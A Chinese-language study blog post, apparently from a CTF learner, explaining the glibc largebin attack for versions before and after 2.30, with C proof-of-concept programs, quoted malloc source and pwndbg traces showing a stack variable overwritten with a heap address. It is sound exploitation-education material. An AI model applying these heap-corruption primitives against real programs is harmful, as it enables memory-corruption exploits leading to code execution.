0x00
一直想要学习_IO_FILE
攻击却一直没有腾出时间去学,就先记录一下经常与之结合使用的largebin attack来督促一下自己吧
参考博客
浅析Large_bins_attack在高低版本的利用-先知社区
好好说话之Large Bin Attack_largebin attack-CSDN博客
0x01 关于largebins
Glibc 的 largebins
共 63 个(索引 64–126),每个 bin 负责管理一个连续的大小区间
每一个largebin
与unsorted bin
一样都是双向链表。其中的所有chunk是从大到小排序的,由fd
指针和bk
指针链接。而相同size的chunk又分为一个组,同组中,只有代表chunk的fd_nextsize
和bk_nextsize
有效,其余chunk的这两个指针为0。代表chunk间通过fd_nextsize
和bk_nextsize
链接,而最小size的组的代表chunk的fd_nextsize
指向最大size的bin的代表chunk,最大size的bin的代表chunk的bk_nextsize
也指向最小size的组的代表chunk。一个组的最后一个chunk的fd
指向更小组的第一个chunk(如果有,无则指向bin表头)。代表chunk的bk
指向上一个更大组的代表chunk(如果有,无则指向bin表头)。如此形成一个循环双向链表。结构大体如下所示(存在部分缺少,见图后补充)

上图中chunk12的fd
指向chunk20,chunk20的bk
指向chunk12,fd
指向chunk30,没有画出。
再补充一张图

注意,与fd
或bk
指针不同,fd_nextsize
与bk_nextsize
指向的并不是chunk的mem地址,而是堆头地址,即chunk的mem地址减去0x10。
0x02 glibc2.30以前的largebin attack
我们根据how2heap有关largebin attack的源码,精简一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| #include <stdio.h> #include <stdlib.h>
int main() { unsigned long stack_var1 = 0; unsigned long stack_var2 = 0; unsigned long* chunk1 = (unsigned long*)malloc(0x380); malloc(0x20); unsigned long* chunk2 = (unsigned long*)malloc(0x500); malloc(0x20); unsigned long* chunk3 = (unsigned long*)malloc(0x500); malloc(0x20); free(chunk1); free(chunk2); malloc(0x90); free(chunk3); chunk2[-1] = 0x3f1; chunk2[0] = 0; chunk2[2] = 0; chunk2[1] = (unsigned long)(&stack_var1 - 2); chunk2[3] = (unsigned long)(&stack_var2 - 4); malloc(0x90); fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1); fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2); return 0; }
|
因为largebin attack更多的在较高版本使用,这里调试就不放了(绝对不是因为笔者本地glibc版本太高自己编译低版本编译半天没搞好),具体的调试过程看参考博客即可。
先申请了三个大的chunk123,中间夹着的0x20的chunk是为了防止大的chunk被top chunk合并。然后free掉chunk1和chunk2,两个都进入了unsorted bin
接着malloc一个0x90的堆,这时候发生了很多事。程序依次从fastbins–>unsorted bin–>smallbins–>largebins–>topchunk的顺序扫描,在unsorted bin
找到了chunk1(unsorted bin
是头部插入尾部取出的,FIFO),属于smallbins
,放入smallbins
,发现chunk2大小属于largebins
,放入largebins
。然后扫描smallbins
,发现chunk1,大于需求,就分割出一块0xa0的chunk来供malloc所需,然后chunk1剩余部分放入unsorted bin
等待分配。
接下来,free掉chunk3,chunk3也加入unsorted bin
。这时候再修改chunk2,使其size小于chunk3,并修改其bk
指针和bk_nextsize
指针为两个目标值的相应偏移处。如图所示

然后再malloc一块内存,与上一次malloc一样,这次malloc也会干很多事。继续将chunk1放入smallbins
,然后chunk3进入largebins
。然后扫描smallbins
,分割chunk1,然后chunk1再放入unsorted bin
听候发落
在chunk3进入largebins
的时候,会进行双链表的指针维护更新。相关的部分源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| while((unsigned long)size < fwd->size){ fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0); } if ((unsigned long) size == (unsigned long) fwd->size)
fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
|
实际上就是在largebins
中找到一个不大于新进入chunk(也就是这里的chunk3)的chunk(也就是chunk2),然后根据largebins
的结构更新fd
,bk
,fd_nextsize
,bk_nextsize
指针。这里更新并没有做相关安全检查,具体见上述注释。
会将chunk3的地址赋给chunk2的bk_nextsize
(已经被我们篡改为stack_var2-0x20),以及chunk3的bk_nextsize
指向chunk2的bk_nextsize
(已经被我们篡改为stack_var2-0x20)。后续还会对bk
和fd
指针进行操作,最后会使得chunk2的bk
(已经被我们篡改为stack_var1-0x10)指向chunk3。
结果就是,如果把stack_var2当做是一个指针,则这个指针指向了chunk3;如果把stack_var1当做一个指针,则也指向chunk3
0x03 glibc2.30+ 的largebin attack
在更高版本,glibc对与fd_nextsize
以及bk_nextsize
增加了检查,部分源码如下
1 2 3 4 5 6 7 8 9 10 11 12
| else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
|
经过这个检查,我们上述的攻击手法就不好使了。但是我们知道largebin attack在glibc高版本仍然屹立不倒。那么新的攻击点在哪呢?如下部分源码
1 2 3 4 5 6 7 8 9 10 11
| assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; }
|
现在我们自己写个demo来调试一下验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <stdio.h> #include <stdlib.h>
int main() { unsigned long target = 0; unsigned long* chunk1 = (unsigned long*)malloc(0x428); malloc(0x20); unsigned long* chunk2 = (unsigned long*)malloc(0x418); malloc(0x20); free(chunk1); malloc(0x438); free(chunk2); chunk1[3] = (unsigned long)(&target - 4); malloc(0x438); fprintf(stderr, "target (%p): %p\n", &target, (unsigned long*)target); return 0; }
|
先申请一大一小的两个较大的chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x430 (with flag bits: 0x431)
Allocated chunk | PREV_INUSE Addr: 0x5555555596c0 Size: 0x30 (with flag bits: 0x31)
Allocated chunk | PREV_INUSE Addr: 0x5555555596f0 Size: 0x420 (with flag bits: 0x421)
Allocated chunk | PREV_INUSE Addr: 0x555555559b10 Size: 0x30 (with flag bits: 0x31)
Top chunk | PREV_INUSE Addr: 0x555555559b40 Size: 0x204c0 (with flag bits: 0x204c1)
|
然后free掉chunk1
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> bins tcachebins empty fastbins empty unsortedbin all: 0x555555559290 —▸ 0x7ffff7e1ace0 (main_arena+96) ◂— 0x555555559290 smallbins empty largebins empty
|
然后malloc一个0x438的chunk,将chunk1放入largebin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291)
Free chunk (largebins) | PREV_INUSE Addr: 0x555555559290 Size: 0x430 (with flag bits: 0x431) fd: 0x7ffff7e1b0d0 bk: 0x7ffff7e1b0d0 fd_nextsize: 0x555555559290 bk_nextsize: 0x555555559290
Allocated chunk Addr: 0x5555555596c0 Size: 0x30 (with flag bits: 0x30)
Allocated chunk | PREV_INUSE Addr: 0x5555555596f0 Size: 0x420 (with flag bits: 0x421)
Allocated chunk | PREV_INUSE Addr: 0x555555559b10 Size: 0x30 (with flag bits: 0x31)
Allocated chunk | PREV_INUSE Addr: 0x555555559b40 Size: 0x440 (with flag bits: 0x441)
Top chunk | PREV_INUSE Addr: 0x555555559f80 Size: 0x20080 (with flag bits: 0x20081)
pwndbg> bins tcachebins empty fastbins empty unsortedbin empty smallbins empty largebins 0x400-0x430: 0x555555559290 —▸ 0x7ffff7e1b0d0 (main_arena+1104) ◂— 0x555555559290
|
然后free掉chunk2并修改chunk1的bk_nextsize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291)
Free chunk (largebins) | PREV_INUSE Addr: 0x555555559290 Size: 0x430 (with flag bits: 0x431) fd: 0x7ffff7e1b0d0 bk: 0x7ffff7e1b0d0 fd_nextsize: 0x555555559290 bk_nextsize: 0x7fffffffde80
Allocated chunk Addr: 0x5555555596c0 Size: 0x30 (with flag bits: 0x30)
Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5555555596f0 Size: 0x420 (with flag bits: 0x421) fd: 0x7ffff7e1ace0 bk: 0x7ffff7e1ace0
Allocated chunk Addr: 0x555555559b10 Size: 0x30 (with flag bits: 0x30)
Allocated chunk | PREV_INUSE Addr: 0x555555559b40 Size: 0x440 (with flag bits: 0x441)
Top chunk | PREV_INUSE Addr: 0x555555559f80 Size: 0x20080 (with flag bits: 0x20081)
pwndbg> bins tcachebins empty fastbins empty unsortedbin all: 0x5555555596f0 —▸ 0x7ffff7e1ace0 (main_arena+96) ◂— 0x5555555596f0 smallbins empty largebins 0x400-0x430: 0x555555559290 —▸ 0x7ffff7e1b0d0 (main_arena+1104) ◂— 0x555555559290
|
如上所示,chunk1的bk_nextsize
的值变为了target的地址-0x20=0x7fffffffde80
再次malloc一个0x438的chunk,将chunk2放入largebin,完成攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291)
Free chunk (largebins) | PREV_INUSE Addr: 0x555555559290 Size: 0x430 (with flag bits: 0x431) fd: 0x5555555596f0 bk: 0x7ffff7e1b0d0 fd_nextsize: 0x555555559290 bk_nextsize: 0x5555555596f0
Allocated chunk Addr: 0x5555555596c0 Size: 0x30 (with flag bits: 0x30)
Free chunk (largebins) | PREV_INUSE Addr: 0x5555555596f0 Size: 0x420 (with flag bits: 0x421) fd: 0x7ffff7e1b0d0 bk: 0x555555559290 fd_nextsize: 0x555555559290 bk_nextsize: 0x7fffffffde80
Allocated chunk Addr: 0x555555559b10 Size: 0x30 (with flag bits: 0x30)
Allocated chunk | PREV_INUSE Addr: 0x555555559b40 Size: 0x440 (with flag bits: 0x441)
Top chunk | PREV_INUSE Addr: 0x555555559f80 Size: 0x20080 (with flag bits: 0x20081)
pwndbg> bins tcachebins empty fastbins empty unsortedbin empty smallbins empty largebins 0x400-0x430: 0x555555559290 —▸ 0x5555555596f0 —▸ 0x7ffff7e1b0d0 (main_arena+1104) ◂— 0x555555559290
|
我们查看攻击效果
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> x/20gx 0x7fffffffde80 0x7fffffffde80: 0x0000000000000000 0x00007fffffffdec0 0x7fffffffde90: 0x00007fffffffdfd8 0x0000555555555261 0x7fffffffdea0: 0x00005555555596f0 0x00005555555592a0 0x7fffffffdeb0: 0x0000555555559700 0xea19bde1a8c35100 0x7fffffffdec0: 0x0000000000000001 0x00007ffff7c29d90 0x7fffffffded0: 0x0000000000000000 0x00005555555551a9 0x7fffffffdee0: 0x00000001ffffdfc0 0x00007fffffffdfd8 0x7fffffffdef0: 0x0000000000000000 0x69534c199618d9ea 0x7fffffffdf00: 0x00007fffffffdfd8 0x00005555555551a9 0x7fffffffdf10: 0x0000555555557da8 0x00007ffff7ffd040
|
可以看到target(0x7fffffffdea0)已经指向了0x00005555555596f0,也就是我们的chunk2。后续便可以控制chunk2,来达成修改target指针的指向内容
0x04 largebin attack与其他攻击的结合应用
由于largebin attack可以修改指针指向,能够实现任意地址写入堆地址的特性,常作为堆攻击的跳板,以下仅仅举几个例子
一是与tcache poisoning结合,或者辅助劫持tcache_perthread_struct
;二是与fastbin attack结合,修改global_max_fast
的值,来实现更大size范围的fastbin attack;三是与FSOP结合,破坏 _IO_list_all
或伪造 _IO_FILE
结构的 vtable
指针……
以后可能会开几篇博客记录一下(咕咕?)
再挖个坑,准备入坑学习_IO_FILE
(咕咕?)